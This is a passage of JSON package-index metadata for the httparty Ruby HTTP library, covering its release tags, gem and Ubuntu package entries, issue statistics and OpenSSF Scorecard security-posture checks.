ies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"c3cefc223aca504072951cabf17e17cd88a5780c","kind":"commit","published_at":"2010-01-31T03:31:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"94601fe05efeb2fbd001e9830b4f9ec522ad2250","kind":"commit","published_at":"2009-12-08T02:59:52.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0/manifests"},{"name":"v0.4.5","sha":"7443e42395e00ddaee362586471ae948eada4a76","kind":"commit","published_at":"2009-09-13T03:14:01.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.4.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5/manifests"}]},"repo_metadata_updated_at":"2026-04-25T17:09:39.735Z","dependent_packages_count":0,"downloads":3907,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":79.2232579263809,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":26.407752642126965},"purl":"pkg:gem/yoyle439587298?repository_url=https://gem.coop","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/yoyle439587298","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/yoyle439587298","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/yoyle439587298/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-04-23T16:06:51.925Z","issues_count":69,"pull_requests_count":109,"avg_time_to_close_issue":20359214.911111113,"avg_time_to_close_pull_request":34382867.37755102,"issues_closed_count":45,"pull_requests_closed_count":98,"pull_request_authors_count":59,"issue_authors_count":69,"avg_comments_per_issue":3.5942028985507246,"avg_comments_per_pull_request":1.6697247706422018,"merged_pull_requests_count":63,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":7,"past_year_pull_requests_count":17,"past_year_avg_time_to_close_issue":4007655.5,"past_year_avg_time_to_close_pull_request":1195047.7272727273,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":2.2857142857142856,"past_year_avg_comments_per_pull_request":1.5294117647058825,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":8,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/issues","maintainers":[{"login":"TheSmartnik","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TheSmartnik"},{"login":"jnunemaker","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}],"active_maintainers":[{"login":"jnunemaker","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/yoyle439587298/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/yoyle439587298/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/yoyle439587298/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/yoyle439587298/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/yoyle439587298/codemeta","maintainers":[{"uuid":"76918","login":"asir23","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://gem.coop/profiles/asir23","role":null,"created_at":"2025-10-10T01:37:02.470Z","updated_at":"2025-10-10T01:37:02.470Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/asir23/packages"}],"registry":{"name":"gem.coop","url":"https://gem.coop","ecosystem":"rubygems","default":false,"packages_count":190389,"maintainers_count":67476,"namespaces_count":0,"keywords_count":0,"github":"gem-coop","metadata":{"funded_packages_count":6507},"icon_url":"https://github.com/gem-coop.png","created_at":"2025-10-06T17:24:20.932Z","updated_at":"2026-04-03T06:45:05.763Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/namespaces"}},{"id":13751181,"name":"ruby-httparty","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T07:15:11.926Z","latest_release_published_at":"2026-02-13T07:15:11.926Z","latest_release_number":"0.17.0-1","last_synced_at":"2026-03-13T14:28:26.718Z","created_at":"2026-02-13T07:15:11.745Z","updated_at":"2026-03-13T14:28:26.718Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.4.0","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"gem2deb, help2man, ruby-fakeweb, ruby-mime-types (\u003e= 3.0), ruby-multi-json, ruby-multi-xml, ruby-rspec (\u003e= 3~), ruby-simplecov, ruby-webmock, debhelper-compat (= 12)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2026-01-14T22:54:37.000Z","size":1592,"stargazers_count":5897,"open_issues_count":43,"forks_count":971,"subscribers_count":59,"default_branch":"main","last_synced_at":"2026-02-11T07:40:50.783Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2026-02-09T13:04:12.000Z","dependencies_parsed_at":"2025-12-07T21:04:48.943Z","dependency_job_id":null,"html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":64,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29397561,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-13T04:26:15.637Z","status":"ssl_error","status_checked_at":"2026-02-13T04:16:29.732Z","response_time":78,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"repo_metadata_updated_at":"2026-02-13T07:15:13.304Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":0.15880818240254094,"forks_count":0.12099671040193595,"docker_downloads_count":null,"average":0.06995122320111923},"purl":"pkg:deb/ubuntu/ruby-httparty?arch=source\u0026distro=ubuntu-20.04\u0026repository_url=https://launchpad.net/ubuntu/focal","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"ubuntu-20.04","url":"https://launchpad.net/ubuntu/focal","ecosystem":"ubuntu","default":false,"packages_count":30789,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"focal"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:47.233Z","updated_at":"2026-04-27T18:20:36.874Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/namespaces"}},{"id":13804545,"name":"ruby-httparty","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T18:22:54.810Z","latest_release_published_at":"2026-02-13T18:22:54.810Z","latest_release_number":"0.21.0-1","last_synced_at":"2026-03-13T19:23:41.980Z","created_at":"2026-02-13T18:22:54.564Z","updated_at":"2026-03-13T19:23:41.981Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.6.2","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb (\u003e= 1), rake, ruby, help2man, ruby-mini-mime (\u003e= 1.0.0), ruby-multi-xml (\u003e= 0.5.2), ruby-rspec, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-13T18:24:30.260Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-httparty?arch=source\u0026distro=ubuntu-23.10\u0026repository_url=https://launchpad.net/ubuntu/mantic","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.10","url":"https://launchpad.net/ubuntu/mantic","ecosystem":"ubuntu","default":false,"packages_count":36642,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"mantic","mirror":"http://old-releases.ubuntu.com/ubuntu"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.636Z","updated_at":"2026-04-27T18:20:38.051Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/namespaces"}},{"id":12247720,"name":"httparty","ecosystem":"rubygems","description":"Makes http fun! Also, makes consuming restful web services dead easy.","homepage":"https://github.com/jnunemaker/httparty","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":[],"namespace":null,"versions_count":87,"first_release_published_at":"2009-07-25T18:14:00.000Z","latest_release_published_at":"2026-01-14T22:54:36.108Z","latest_release_number":"0.24.2","last_synced_at":"2026-04-28T23:00:57.444Z","created_at":"2025-10-07T03:32:11.389Z","updated_at":"2026-04-28T23:02:31.194Z","registry_url":"https://gem.coop/gems/httparty","install_command":"gem install httparty -s https://gem.coop","documentation_url":"http://www.rubydoc.info/gems/httparty/","metadata":{"funding":null},"repo_metadata":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2026-03-04T15:48:24.000Z","size":1597,"stargazers_count":5889,"open_issues_count":43,"forks_count":970,"subscribers_count":59,"default_branch":"main","last_synced_at":"2026-04-12T03:36:33.349Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2026-04-10T06:17:10.000Z","dependencies_parsed_at":"2025-12-07T21:04:48.943Z","dependency_job_id":null,"html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":64,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 